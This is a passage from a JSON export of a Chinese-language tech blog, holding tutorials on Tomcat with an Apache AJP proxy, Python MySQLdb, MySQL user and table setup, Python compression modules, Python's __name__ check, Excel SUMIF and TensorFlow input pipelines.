/\u0026gt; 加入這個 Connector 之後，Apache 就可以透過 8009 連接埠連線到 8443 連接埠的 Tomcat 伺服器，如果 Tomcat 沒有使用加密的連線，可以把 8443 改為一般的 8080：\n\u0026lt;!-- Define an AJP 1.3 Connector on port 8009 --\u0026gt; \u0026lt;Connector port=\u0026#34;8009\u0026#34; protocol=\u0026#34;AJP/1.3\u0026#34; redirectPort=\u0026#34;8080\u0026#34; /\u0026gt; 確認 Apache Proxy 相關的模組有啟用：\nsudo a2enmod proxy proxy_http proxy_ajp 在 Apache 的設定檔（例如 httpd.conf）中，加入 Proxy 的設定：\nProxyPass /static/ ! ProxyPassReverse /static/ ! ProxyPass / ajp://localhost:8009/ ProxyPassReverse / ajp://localhost:8009/ 這樣就會把除了 /static/ 之外的網址直接導向 Tomcat 伺服器，也就是說靜態網頁可放在 /static/ 由 Apache 負責處理，其餘的網頁則由 Tomcat 負責。\n最後再將自己開發的 WAR 檔部署在 Tomcat 的 webapps 目錄（預設為 /srv/tomcat/webapps），這樣就完成 Tomcat 的安裝與設定了。\n","permalink":"https://blog.gtwang.org/linux/opensuse-yast-install-tomcat-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 OpenSUSE 中使用 YaST 安裝 Tomcat 伺服器，並設定 Apache Tomcat Connector 結合兩個伺服器。\u003c/p\u003e\n\u003cp\u003e在 OpenSUSE 中若要安裝 Tomcat 伺服器，可以使用 YaST 這個 OpenSUSE 特有的系統管理介面來安裝，方法非常簡單。\u003c/p\u003e","title":"OpenSUSE Linux 以 YaST 安裝 Tomcat 8 伺服器設定教學"},{"content":"這裡介紹 Python 的 MySQLdb 模組的安裝與使用方法，查詢、新增、修改與刪除 MySQL 資料庫中的資料。\nPython 的 MySQLdb 是一個 MySQL 資料庫連接模組，其內部核心是以 C 語言開發的，透過 MySQLdb 包裝成 Python 模組，以下是 MySQLdb 安裝與使用方法。\n檢查與安裝 MySQLdb 模組 使用 MySQLdb 模組前，要先確認自己的 Python 是否有安裝，若沒有安裝的話，選擇一種自己喜歡的方式把 MySQLdb 模組裝起來。\n檢查是否有安裝 MySQLdb 模組 檢查是否有安裝 MySQLdb 模組的方法就是直接在 Python 的環境中引入 MySQLdb 看看：\nimport MySQLdb 或是在 Linux 的 shell 底下執行：\npython -c \u0026#34;import MySQLdb\u0026#34; 如果執行之後，沒有出現任何訊息，就代表 MySQLdb 模組已經正常安裝好了。\n如果您的 Python 環境沒有安裝 MySQLdb 模組的話，就會出現這樣的錯誤訊息：\nTraceback (most recent call last): File \"\", line 1, in ImportError: No module named MySQLdb 以 apt 安裝 在 Debian 或 Ubuntu Linux 中，可以用 apt 安裝：\nsudo apt-get install python-mysqldb 以 pip 安裝 若要使用 pip 安裝，步驟如下：\n# 安裝 pip sudo easy_install pip # 更新 pip sudo pip install pip --upgrade # 安裝編譯 MySQLdb 所需套件 sudo apt-get build-dep python-mysqldb # 以 pip 安裝 MySQLdb sudo pip install MySQL-python 以原始碼安裝 MySQLdb 的原始碼可以從它的官方網站下載，而編譯與安裝的如下：\nsudo tar -zxvf MySQL-python-1.2.4b4.tar.gz cd MySQL-python-1.2.4b4 python setup.py build python setup.py install 使用 MySQLdb 模組 這裡提供幾種常用的 MySQL 資料庫操作範例程式碼。\n查詢 MySQL 資料 這是以 Python 透過 MySQLdb 模組接到 MySQL 資料庫資料之後，查詢資料的範例：\n#!/usr/bin/python # -*- coding: utf-8 -*- # 引入 MySQLdb 模組，提供連接 MySQL 的功能 import MySQLdb # 連接 MySQL 資料庫 db = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;) cursor = db.cursor() # 執行 MySQL 查詢指令 cursor.execute(\u0026#34;SELECT * FROM db_table\u0026#34;) # 取回所有查詢結果 results = cursor.fetchall() # 輸出結果 for record in results: col1 = record[0] col2 = record[1] print(\u0026#34;%s, %s\u0026#34; % (col1, col2)) # 關閉連線 db.close() 上面這個範例是一次將所有的查詢結果都取回後，再以迴圈輸出。另一種常用的方式是一次只取回一筆查詢結果，這種方式在處理大量資料時，可以節省記憶體空間：\n#!/usr/bin/python # -*- coding: utf-8 -*- import MySQLdb db = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;) cursor = db.cursor() cursor.execute(\u0026#34;SELECT * FROM db_table\u0026#34;) # 取得資料總筆數 rc = cursor.rowcount # 一次取出一筆資料 for i in range(0, rc): record = cursor.fetchone() col1 = record[0] col2 = record[1] print(\u0026#34;%s, %s\u0026#34; % (col1, col2)) db.close() 新增 MySQL 資料 以下是插入一筆 MySQL 資料的範例（這裡使用另一篇 MySQL/MariaDB 教學的 products 資料表作為示範）：\n#!/usr/bin/python # -*- coding: utf-8 -*- import MySQLdb db = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;, charset=\u0026#34;utf8\u0026#34;) cursor = db.cursor() # 插入資料 cursor.execute(\u0026#39;INSERT INTO products (name, descr, price) \u0026#39; \u0026#39;VALUES (\u0026#34;葵花寶典\u0026#34;, \u0026#34;蓋世武功密集\u0026#34;, 990);\u0026#39;) db.commit() db.close() 刪除 MySQL 資料 刪除 MySQL 資料的作法與新增資料類似：\n#!/usr/bin/python # -*- coding: utf-8 -*- import MySQLdb db = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;, charset=\u0026#34;utf8\u0026#34;) cursor = db.cursor() # 刪除資料 cursor.execute(\u0026#39;DELETE FROM products WHERE name = \u0026#34;葵花寶典\u0026#34;;\u0026#39;) db.commit() db.close() 修改 MySQL 資料 這是修改 MySQL 資料的範例：\n#!/usr/bin/python # -*- coding: utf-8 -*- import MySQLdb db = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;, charset=\u0026#34;utf8\u0026#34;) cursor = db.cursor() # 刪除資料 cursor.execute(\u0026#39;UPDATE products SET descr = \u0026#34;東方不敗的絕世武功\u0026#34; WHERE name = \u0026#34;葵花寶典\u0026#34;;\u0026#39;) db.commit() db.close() MySQLdb 中文編碼問題 若要從 MySQL 資料庫中取回 UTF-8 編碼的中文字資料，可以在建立 MySQL 連線時加上 charset 參數：\ndb = MySQLdb.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;db_user\u0026#34;, passwd=\u0026#34;db_pass\u0026#34;, db=\u0026#34;db_name\u0026#34;, charset=\u0026#34;utf8\u0026#34;) 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/python-mysqldb-connect-mysql-database-tutorial/","summary":"\u003cp\u003e這裡介紹 Python 的 \u003ccode\u003eMySQLdb\u003c/code\u003e 模組的安裝與使用方法，查詢、新增、修改與刪除 MySQL 資料庫中的資料。\u003c/p\u003e\n\u003cp\u003ePython 的 \u003ccode\u003eMySQLdb\u003c/code\u003e 是一個 MySQL 資料庫連接模組，其內部核心是以 C 語言開發的，透過 \u003ccode\u003eMySQLdb\u003c/code\u003e 包裝成 Python 模組，以下是 \u003ccode\u003eMySQLdb\u003c/code\u003e 安裝與使用方法。\u003c/p\u003e","title":"Python 使用 MySQLdb 模組連接 MySQL 資料庫教學與範例"},{"content":"本篇紀錄一般安裝 MySQL/MariaDB 資料庫之後，常會使用的新增資料庫、建立使用者帳號、權限設定等指令。\n由於每次在安裝 MySQL 資料庫時，不管是用於正式營運或是作為測試的環境，都會需要建立資料庫並設定對應的 MySQL 帳號與權限、建立測試的資料表等，所以特別將這部份的會用到的 MySQL 指令整理成一篇文章，方便查閱。\n建立資料庫與使用者帳號 使用 MySQL 的 root 管理者帳號登入：\nmysql -u root -p 在 MySQL/MariaDB 中新增資料庫：\n-- 新增資料庫 CREATE DATABASE `my_db`; 這樣就會新增一個新的 my_db 資料庫。\n新增一個 MySQL 資料庫使用者 my_user，並將密碼設定為 my_password：\n-- 新增使用者，設定密碼 CREATE USER \u0026#39;my_user\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;my_password\u0026#39;; 授予 my_user 帳號在 my_db 資料庫上面的所有權限，也就是讓 my_user 可以對 my_db 資料庫進行任何操作：\n-- 設定使用者權限 GRANT ALL PRIVILEGES ON my_db.* TO \u0026#39;my_user\u0026#39;@\u0026#39;localhost\u0026#39;; 使用 GRANT 設定好帳號的權限之後，馬上就會生效。接著就可以離開 MySQL 資料庫，重新以新的帳號登入使用了：\nmysql -u my_user -p 建立資料表與測試資料 登入之後，選擇剛建立的資料庫：\nuse my_db; 建立資料表（table）：\nuse my_db; CREATE TABLE products ( -- 新增產品資料表 id INT NOT NULL AUTO_INCREMENT, -- 產品 ID name varchar(50) NOT NULL, -- 名稱 descr varchar(200), -- 說明 price INT NOT NULL, -- 價格 PRIMARY KEY(id) -- 主要索引 ); 插入測試資料：\n-- 插入資料 INSERT INTO products (name, descr, price) VALUES (\u0026#34;葵花寶典\u0026#34;, \u0026#34;蓋世武功密集\u0026#34;, 990); INSERT INTO products (name, descr, price) VALUES (\u0026#34;獨孤九劍\u0026#34;, \u0026#34;劍魔獨孤求敗所創劍法\u0026#34;, 890); 查詢資料：\n-- 查詢資料 SELECT * FROM products; 修改 name 為 葵花寶典 的資料，將其 descr 設為新的值：\nUPDATE products SET descr = \u0026#34;東方不敗的絕世武功\u0026#34; WHERE name = \u0026#34;葵花寶典\u0026#34;; 刪除 name 為 葵花寶典 的資料：\n-- 刪除資料 DELETE FROM products WHERE name = \u0026#34;葵花寶典\u0026#34;; 刪除整個 products 資料表：\n-- 刪除資料表 DROP TABLE products; ","permalink":"https://blog.gtwang.org/linux/mysql-create-database-add-user-table-tutorial/","summary":"\u003cp\u003e本篇紀錄一般安裝 MySQL/MariaDB 資料庫之後，常會使用的新增資料庫、建立使用者帳號、權限設定等指令。\u003c/p\u003e\n\u003cp\u003e由於每次在安裝 MySQL 資料庫時，不管是用於正式營運或是作為測試的環境，都會需要建立資料庫並設定對應的 MySQL 帳號與權限、建立測試的資料表等，所以特別將這部份的會用到的 MySQL 指令整理成一篇文章，方便查閱。\u003c/p\u003e","title":"MySQL/MariaDB 新增資料庫、建立使用者帳號與資料表指令教學"},{"content":"這裡介紹如何在 Python 中讀取與寫入各種格式的壓縮檔，包含 gzip、bz2、zip、tar 格式。\nPython 本身就有支援各種壓縮檔案格式的模組，我們可以透過這些模組來讀取或寫入壓縮檔，常見的 gzip、bz2、zip、tar 格式都有支援，使用上非常方便。以下是各種壓縮格式的壓縮與解壓縮教學，還有一些範例程式碼。\ngzip Python 的 gzip 模組提供了用來處理 gzip 壓縮檔案的操作介面，而其內部是使用 zlib 模組來進行資料的壓縮與解壓縮。\n讀取 gzip 壓縮檔 若要讀取 gzip 壓縮檔，最簡單的方式就是使用 gzip.open：\nimport gzip with gzip.open(\u0026#39;file.txt.gz\u0026#39;, \u0026#39;rb\u0026#39;) as f: file_content = f.read() 寫入 gzip 壓縮檔 若要寫入 gzip 壓縮檔，同樣是使用 gzip.open：\nimport gzip content = \u0026#34;Hello, gzip.\u0026#34; with gzip.open(\u0026#39;file.txt.gz\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(content) 以 gzip 壓縮檔案 若要以 gzip 格式壓縮一個普通檔案，可以使用 gzip 配合 shutil 模組：\nimport gzip import shutil with open(\u0026#39;file.txt\u0026#39;, \u0026#39;rb\u0026#39;) as f_in, gzip.open(\u0026#39;file.txt.gz\u0026#39;, \u0026#39;wb\u0026#39;) as f_out: shutil.copyfileobj(f_in, f_out) 這樣就會把 file.txt 經過 gzip 壓縮之後，儲存為 file.txt.gz。\nbzip2 Python 的 bz2 模組可以用來處理 bzip2 格式的壓縮與解壓縮。\n讀取 bzip2 壓縮檔 若要讀取 bzip2 的壓縮檔，可以使用 bz2.BZ2File：\nimport bz2 with bz2.BZ2File(\u0026#39;file.txt.bz2\u0026#39;, \u0026#39;r\u0026#39;) as f: file_content = f.read() 這樣就會把 file.txt.bz2 的檔案內容解壓縮之後，放在 file_content 變數中。\n寫入 bzip2 壓縮檔 若要家資料寫入 bzip2 的壓縮檔，同樣是使用 bz2.BZ2File：\nimport bz2 content = \u0026#34;Hello, bzip2.\u0026#34; with bz2.BZ2File(\u0026#39;file.txt.bz2\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(content) 這樣就會將 content 中的資料以 bzip2 格式壓縮之後，寫入 file.txt.bz2 中。\n以 bzip2 壓縮資料 若要在程式中直接壓縮或解壓縮 bzip2 格式的資料，可以使用 bz2.compress 與 bz2.decompress 這兩個函數：\n# -*- coding: utf-8 -*- import bz2 import binascii original_data = \u0026#39;Hello, bzip2.\u0026#39; print \u0026#39;原始的資料： \u0026#39;, len(original_data), original_data # 以 bzip2 壓縮資料 compressed = bz2.compress(original_data) print \u0026#39;壓縮後的資料： \u0026#39;, len(compressed), binascii.hexlify(compressed) # 解壓縮 bzip2 資料 decompressed = bz2.decompress(compressed) print \u0026#39;解壓縮後的資料：\u0026#39;, len(decompressed), decompressed 原始的資料： 13 Hello, bzip2. 壓縮後的資料： 55 425a68393141592653595352837c0000021d804005100000401224c0102000310340d02001a68c27aaac8284f8bb9229c284829a941be0 解壓縮後的資料： 13 Hello, bzip2. 這裡的原始資料太小了，經過 bzip2 壓縮之後，反而會變大，大家可以拿比較大一點的資料來測試。\nzip Python 的 zipfile 模組可以用來把多個檔案打包壓縮成一個 zip 壓縮檔，或是將一個 zip 壓縮檔解壓縮。\n建立 zip 壓縮檔 這個範例會將 file1.txt 與 file2.png 這兩個檔案打包起來，壓縮成一個 archive.zip 壓縮檔案：\nimport zipfile with zipfile.ZipFile(\u0026#39;archive.zip\u0026#39;, \u0026#39;w\u0026#39;) as zf: zf.write(\u0026#39;file1.txt\u0026#39;) zf.write(\u0026#39;file2.png\u0026#39;) 解壓縮 zip 檔案 這個範例會將上面建立好的 archive.zip 解壓縮：\nimport zipfile with zipfile.ZipFile(\u0026#39;archive.zip\u0026#39;, \u0026#39;r\u0026#39;) as zf: open(\u0026#39;file1.txt\u0026#39;, \u0026#39;w\u0026#39;).write(zf.read(\u0026#39;file1.txt\u0026#39;)) open(\u0026#39;file2.png\u0026#39;, \u0026#39;wb\u0026#39;).write(zf.read(\u0026#39;file2.png\u0026#39;)) tar Python 的 tarfile 模組可以針對各種 tar 壓縮檔進行壓縮與解壓縮。\n解壓縮 tar.gz 檔案 將 archive.tar.gz 這個壓縮檔在目前的目錄中解壓縮：\nimport tarfile with tarfile.open(\u0026#34;archive.tar.gz\u0026#34;) as tf: tf.extractall() 建立 tar 檔案 這個範例會將 file1.txt 與 file2.png 兩個檔案打包成一個未壓縮的 tar 檔案：\nimport tarfile with tarfile.open(\u0026#34;archive.tar\u0026#34;, \u0026#34;w\u0026#34;) as tf: tf.add(\u0026#34;file1.txt\u0026#34;) tf.add(\u0026#34;file2.png\u0026#34;) 建立 tar.gz 檔案 這個範例會將 file1.txt 與 file2.png 兩個檔案打包並壓縮成 archive.tar.gz：\nimport tarfile with tarfile.open(\u0026#34;archive.tar.gz\u0026#34;, \u0026#34;w:gz\u0026#34;) as tf: tf.add(\u0026#34;file1.txt\u0026#34;) tf.add(\u0026#34;file2.png\u0026#34;) 列出 tar.gz 檔案內容 這個範例會將 archive.tar.gz 壓縮檔中的內容全部列出來，包含檔案名稱、大小與類型：\n# -*- coding: utf-8 -*- import tarfile with tarfile.open(\u0026#34;archive.tar.gz\u0026#34;, \u0026#34;r:gz\u0026#34;) as tf: for tarinfo in tf: print \u0026#34;檔名:\u0026#34;, tarinfo.name print \u0026#34;大小:\u0026#34;, tarinfo.size, \u0026#34;bytes\u0026#34; print \u0026#34;類型:\u0026#34;, if tarinfo.isreg(): print \u0026#34;檔案\u0026#34; elif tarinfo.isdir(): print \u0026#34;目錄\u0026#34; else: print \u0026#34;其他\u0026#34; 檔名: file1.txt 大小: 29 bytes 類型: 檔案 檔名: file2.png 大小: 514334 bytes 類型: 檔案 檔案擁有者與群組 tar 壓縮檔可以保留檔案的檔案擁有者與群組資訊，以下是查看 tar 壓縮檔內每個檔案擁有者與群組資訊的 Python 範例：\n# -*- coding: utf-8 -*- import tarfile with tarfile.open(\u0026#34;archive.tar.gz\u0026#34;, \u0026#34;r:gz\u0026#34;) as tf: for tarinfo in tf: print \u0026#34;檔名:\u0026#34;, tarinfo.name print \u0026#34;擁有者:\u0026#34;, tarinfo.uname, \u0026#34;, UID:\u0026#34;, tarinfo.uid print \u0026#34;群組:\u0026#34;, tarinfo.gname, \u0026#34;, GID:\u0026#34;, tarinfo.gid 檔名: file1.txt 擁有者: pi , UID: 1000 群組: pi , GID: 1000 檔名: file2.png 擁有者: pi , UID: 1000 群組: pi , GID: 1000 改變檔案擁有者與群組 在建立 tar 壓縮檔時，我們可以改變原本檔案的擁有者與群組資訊，以下是將每個檔案的擁有者與群組都設定為 root 的範例：\nimport tarfile def reset(tarinfo): tarinfo.uid = tarinfo.gid = tarinfo.uname = tarinfo.gname = \u0026#34;root\u0026#34; return tarinfo with tarfile.open(\u0026#34;archive.tar.gz\u0026#34;, \u0026#34;w:gz\u0026#34;) as tf: tf.add(\u0026#34;file1.txt\u0026#34;, filter = reset) tf.add(\u0026#34;file2.png\u0026#34;, filter = reset) 這裡我們加入一個 filter，讓每一個檔案在加入 tar 壓縮檔時，自動將擁有者與群組都設定為 root。\n參考資料 Python 官方文件 PyMOTW ","permalink":"https://blog.gtwang.org/programming/python-data-compression-archiving-gzip-bz2-zip-tar/","summary":"\u003cp\u003e這裡介紹如何在 Python 中讀取與寫入各種格式的壓縮檔，包含 gzip、bz2、zip、tar 格式。\u003c/p\u003e\n\u003cp\u003ePython 本身就有支援各種壓縮檔案格式的模組，我們可以透過這些模組來讀取或寫入壓縮檔，常見的 gzip、bz2、zip、tar 格式都有支援，使用上非常方便。以下是各種壓縮格式的壓縮與解壓縮教學，還有一些範例程式碼。\u003c/p\u003e","title":"Python 讀取與寫入壓縮檔教學，支援 gzip、bzip2、zip、tar 格式"},{"content":"這裡介紹如何以模組名稱 __name__ 變數分辨程式執行模式，判斷程式是否處於被引入（import）的狀態。\n在 Python 程式中時常可以看到 __name__ == \u0026quot;__main__\u0026quot; 這個奇怪的判斷式，類似這樣：\n以下我們將介紹這個判斷式的意義及使用方式。\n__main__ 最上層變數範圍 '__main__' 是 Python 程式最上層的變數範圍（scope）名稱，在以下三種狀況下，Python 的模組名稱 __name__ 會被設定為 '__main__'：\n透過標準輸入（standard input）讀取 Python 程式碼來執行程式。 在 Python 互動式的環境中，直接輸入程式碼來執行。 使用 Python 指令稿執行程式。 判斷程式是否被引入（import） 如果有一個指令稿 my_module.py，其內容如下：\n# my_module.py print(\u0026#34;__name__ = \u0026#34; + __name__) 這個簡單的 Python 執行後會輸出 __name__ 的值，若以 Python 直接執行這個指令稿，它的值會是 __main__：\npython my_module.py __name__ = __main__ 但如果這時候我們建立另外一個指令稿 app.py，內容如下：\n# app.py import my_module 在這個 app.py 中我們引入（import）了 my_module.py，在這種狀況下執行 my_module.py 的話，其中的 __name__ 值就會不同：\npython app.py __name__ = my_module 如果 Python 程式碼處於被引入的模組中，那麼它的 __name__ 值就會是該模組的名稱。\n因為這個特性，我們可以靠著檢查 __name__ 的值是否為 '__main__'，來判斷 Python 程式是處於獨立執行的狀態，還是被其他 Python 程式引入（import）的。\nif __name__ == \u0026#34;__main__\u0026#34;: # 獨立執行時，所要執行的程式碼 # ... 至於透過標準輸入與互動式環境輸入 Python 程式碼時，__name__ 的值都會是 __main__，不過在這兩種執行狀況比較少會使用到 __name__ 的值，以下是這兩種狀況的執行範例：\n參考資料 Python 官方文件 ","permalink":"https://blog.gtwang.org/programming/python-import-name-main-faq/","summary":"\u003cp\u003e這裡介紹如何以模組名稱 \u003ccode\u003e__name__\u003c/code\u003e 變數分辨程式執行模式，判斷程式是否處於被引入（import）的狀態。\u003c/p\u003e\n\u003cp\u003e在 Python 程式中時常可以看到 \u003ccode\u003e__name__ == \u0026quot;__main__\u0026quot;\u003c/code\u003e 這個奇怪的判斷式，類似這樣：\u003c/p\u003e","title":"Python 以模組名稱 __name__ 分辨程式執行模式"},{"content":"Excel 的 SUMIF 函數可以依照使用者自訂的判斷條件，計算符合條件的數值總和。\n在 Excel 表格中計算數值的加總時，最簡單的方式就是使用 SUM 函數，但如果想要依照某些判斷條件篩選加總的數值，就要改用 SUMIF 函數。以下是 SUMIF 函數的基本用法教學與應用範例。\n如果您想要依據各種判斷條件進行個數的統計，請參考 COUNTIF 與 COUNTIFS 函數的教學。\n基本 SUMIF 用法 假設我們有一個商品銷售的 Excel 表格，上面有各個銷售員販售各種商品的資料。\n如果我們想要快速算出「葵花寶典」這個商品的販售總數，就很適合使用 SUMIF 函數來處理，這裡我們示範兩種操作方式，一種是使用 Excel 工具列上面的「插入函數」工具，另外一種是直接用鍵盤輸入 Excel 儲存格中的公式。\nExcel 插入函數工具 Excel 工具列的「插入函數」工具可以讓使用者透過視窗介面來插入各種函數，函數與資料範圍的選擇都可以使用滑鼠操作，這種做法適合初學者或是不習慣寫程式的人使用。 Step 1\n在 Excel 中選擇一個要放置計算結果的儲存格（這裡我選擇右邊的 H4 儲存格），接著點選「公式」頁面中的「插入函數」功能。\nStep 2\n在「數學與三角函數」類別中，選擇「SUMIF」函數。\nStep 3\n接著選擇 SUMIF 函數的三個引數。\n第一個 Range 引數是指要用來進行條件判斷用的檢查資料，這裡我們要做的事情就是找出商品是「葵花寶典」的資料，所以檢查資料的範圍就要設定為商品那一欄，也就是 C2:C16。\n第二個 Criteria 引數是判斷條件，這裡我要找尋的商品是「葵花寶典」，所以這一欄就直接填入 葵花寶典。\n第三個 Sum range 引數則是實際用來計算加總的數值資料範圍，而這裡我們實際要計算的數值就是「葵花寶典」的銷售數量，所以選擇數量那一個欄位，也就是 E2:E16。\n這樣設定好之後，SUMIF 函數就會把 Range 範圍的資料一個接著一個拿來檢查，如果符合 Criteria 所設定的條件的話，就把 Sum range 對應位置的數值加起來，如果不符合條件則跳過該筆資料。\n設定好三項引數之後，按下「確定」。\nStep 4\n這樣在 H4 儲存格中就會出現計算的結果，也就是「葵花寶典」的總銷售數量。\n直接輸入公式 對於習慣撰寫程式的人，可以在 Excel 儲存格中直接輸入公式，公式用法如下：\n=SUMIF(檢查資料,判斷條件,加總資料) 以這裡計算「葵花寶典」總銷售數量的例子來說，就是這樣寫：\n=SUMIF(C2:C16,\u0026#34;葵花寶典\u0026#34;,E2:E16) 其實上面所介紹的「插入函數」工具就只是產生這一行公式而已，熟悉 SUMIF 的語法之後，其實直接打比較快。\n多項條件 如果我們想要找出「葵花寶典」與「辟邪劍譜」兩項商品的總銷售數量，可以直接使用兩個 SUMIF 計算個別商品的銷售數量總和，再把他們加起來：\n=SUMIF(C2:C16,\u0026#34;葵花寶典\u0026#34;,E2:E16)+SUMIF(C2:C16,\u0026#34;辟邪劍譜\u0026#34;,E2:E16) 這樣就可以得到兩種商品的銷售數量總和，這種方式是最直覺的做法。\n另外一種方式是使用多項判斷條件，同時計算兩項商品的個別銷售數量，再使用 SUM 函數把兩個總數加起來：\n=SUM(SUMIF(C2:C16,{\u0026#34;葵花寶典\u0026#34;,\u0026#34;辟邪劍譜\u0026#34;},E2:E16)) 這種方式也可以得到同樣的結果，而公式寫起來也比較精簡。\n日期範圍條件 SUMIF 也可以依照日期來篩選加總的資料。\n如果我們想要計算 2017 年 4 月份之後，所有商品的銷售總量，可以這樣寫：\n=SUMIF(A2:A16,\u0026#34;\u0026gt;=2017/4/1\u0026#34;,E2:E16) 這裡我們將檢查資料的範圍設為日期那一欄，而判斷條件則設定為 \u0026quot;\u0026gt;=2017/4/1\u0026quot;，代表 2017 年 4 月 1 日當天或是之後。\n這樣就可以計算出 2017 年 4 月份開始的所有商品銷售總量。\n日期區間 如果想要計算介於兩個日期中間的資料，可以使用兩個 SUMIF 來處理。\n若我們只想要計算 2017 年 4 月以及 5 月的銷售總量，可以先用 SUMIF 計算 4 月份開始的銷售總量，再扣掉 6 月份之後的總量：\n=SUMIF(A2:A16,\u0026#34;\u0026gt;=2017/4/1\u0026#34;,E2:E16)-SUMIF(A2:A16,\u0026#34;\u0026gt;=2017/6/1\u0026#34;,E2:E16) 這樣就得到我們想要的結果了。\n另一個方式是改用 SUMIFS 這個可以接受多個判斷條件的 Excel 函數，其第一個參數是加總資料，後方可接任一個檢查資料與判斷條件的組合配對：\n=SUMIFS(E2:E16,A2:A16,\u0026#34;\u0026gt;=2017/4/1\u0026#34;,A2:A16,\u0026#34;\u0026lt;2017/6/1\u0026#34;) 這樣就可以得到 4 月以及 5 月的銷售總量。\n數值條件 如果要依照數值的判斷條件來加總，就直接選擇數值的檢查資料，配上數值的判斷條件即可。\n這是計算單價在 100 元以上的商品銷售總量：\n=SUMIF(D2:D16,\u0026#34;\u0026gt;=100\u0026#34;,E2:E16) 萬用字元條件 如果文字的判斷條件不是很明確時，可以配合萬用字元（星號 * 或問號 ?）來匹配比較模糊的文字。\n假設我們想要找出所有姓「岳」的銷售員（「岳靈珊」、「岳不群」）所有的銷售總量，就可以這樣寫：\n=SUMIF(B2:B16,\u0026#34;岳*\u0026#34;,E2:E16) 星號（*）代表任意的文字（不限長度），這樣 SUMIF 就會檢查所有的銷售員資料，把所有以「岳」開頭的銷售員都抓出來，計算其對應的銷售數量總和。\n另外一個常用的萬用字元是問號（?），其代表單一個任意的文字，所以如果我們想要比對「岳」開頭、而且後面街上兩個任意文字的資料，就可以這樣寫：\n=SUMIF(B2:B16,\u0026#34;岳??\u0026#34;,E2:E16) 這樣同樣可以找出「岳靈珊」與「岳不群」的資料。\n其他範例 如果檢查用的資料與加總用的資料相同，則可將 SUMIF 的第三個加總資料引數省略，這樣的話 SUMIF 就會使用第一個引數的資料進行檢查與加總。\n若要把所有總價在 300 以上的資料加起來，可以這樣寫：\n=SUMIF(F2:F16,\u0026#34;\u0026gt;=300\u0026#34;) 這樣就得到所有總價在 300 以上加總。\n參考資料 簡書 ","permalink":"https://blog.gtwang.org/windows/excel-sumif-function-tutorial/","summary":"\u003cp\u003eExcel 的 \u003ccode\u003eSUMIF\u003c/code\u003e 函數可以依照使用者自訂的判斷條件，計算符合條件的數值總和。\u003c/p\u003e\n\u003cp\u003e在 Excel 表格中計算數值的加總時，最簡單的方式就是使用 \u003ccode\u003eSUM\u003c/code\u003e 函數，但如果想要依照某些判斷條件篩選加總的數值，就要改用 \u003ccode\u003eSUMIF\u003c/code\u003e 函數。以下是 \u003ccode\u003eSUMIF\u003c/code\u003e 函數的基本用法教學與應用範例。\u003c/p\u003e","title":"Excel SUMIF 函數用法教學：判斷條件，計算總和"},{"content":"本篇介紹如何在 TensorFlow 中以輸入管線讀取任意格式的檔案，並提供 Python 的範例程式碼。\n在 TensorFlow 中總共有三種讀取資料的方式，在之前的 TensorFlow 入門教學文章中，我們已經使用過 placeholder 與常數這兩種比較簡單的方式，這裡將介紹第三種輸入管線的方式。\nTensorFlow 的輸入管線（input pipeline）是一個從檔案讀取資料的流程，使用者可以自行建立符合自己需求的管線，讀取較大量的資料。\n在 TensorFlow 中以輸入管線的方式從檔案讀取資料時，流程通常包含以下幾個步驟：\n提供檔案名稱。 打散檔案名稱。（可省略） 設定 epoch 限制。（可省略） 建立檔案名稱佇列（filename queue）。 根據檔案格式，建立檔案讀取器。 根據資料格式，建立資料解析器。 資料前處理。（可省略） 建立資料佇列。 讀取 CSV 檔案 以下我們以一個讀取 CSV 檔案的範例進行說明，建立一個基本的輸入管線。\n準備檔案名稱 首先要準備 CSV 檔案的名稱，通常大量的資料都會分散成好多的檔案來儲存，這裡我們要依照自己的檔名規則，產生檔案的總表。檔案總表的產生方式可以使用直接列出的方式：\n[\u0026#34;file0\u0026#34;, \u0026#34;file1\u0026#34;] 或是使用 for 迴圈來產生：\n[(\u0026#34;file%d\u0026#34; % i) for i in range(2)] 或是使用 tf.train.match_filenames_once 函數來依照關鍵字自動抓取。\n建立檔名佇列 有了所有的檔案名稱之後，接著把檔名總表傳入 tf.train.string_input_producer 函數，建立檔案名稱佇列（queue）：\n# 建立檔名佇列 filename_queue = tf.train.string_input_producer( [\u0026#34;file0.csv\u0026#34;, \u0026#34;file1.csv\u0026#34;]) tf.train.string_input_producer 會建立一個先進先出（FIFO）的佇列用於存放檔案名稱，提供檔名給檔案讀取器來使用。\ntf.train.string_input_producer 的 shuffle 參數可以設定是否要將檔名打散（隨機排序），而 num_epochs 參數則可用來設定 epoch 的上限值。\n佇列執行器（queue runner）會依照這裡的設定，在每一次的 epoch 將所有的檔名打散後（若 shuffle=True）放入檔名佇列，這種做法讓檔名的抽樣過程都保持一致，可避免 under-sampling 或 over-sampling 的問題。\n佇列執行器會以一個獨立的執行緒（thread）來執行，所以打散檔名以及放入檔名佇列的過程不會影響到檔案讀取器的效能。\n讀取檔案 根據自己的檔案格式，選擇一個適合的檔案讀取器，這裡我們要讀取的檔案是 CSV 檔，這種檔案的資料格式是一行一筆資料，所以適合使用 tf.TextLineReader 這個讀取器。\n將建立好的檔名佇列傳入讀取器：\n# 選擇讀取器 reader = tf.TextLineReader() # 讀取檔案 key, value = reader.read(filename_queue) 讀取器在讀取資料後，會傳回一個用來辨識檔案與資料的 key 值（可用於除錯），還有一行實際的資料 value。\n處理資料 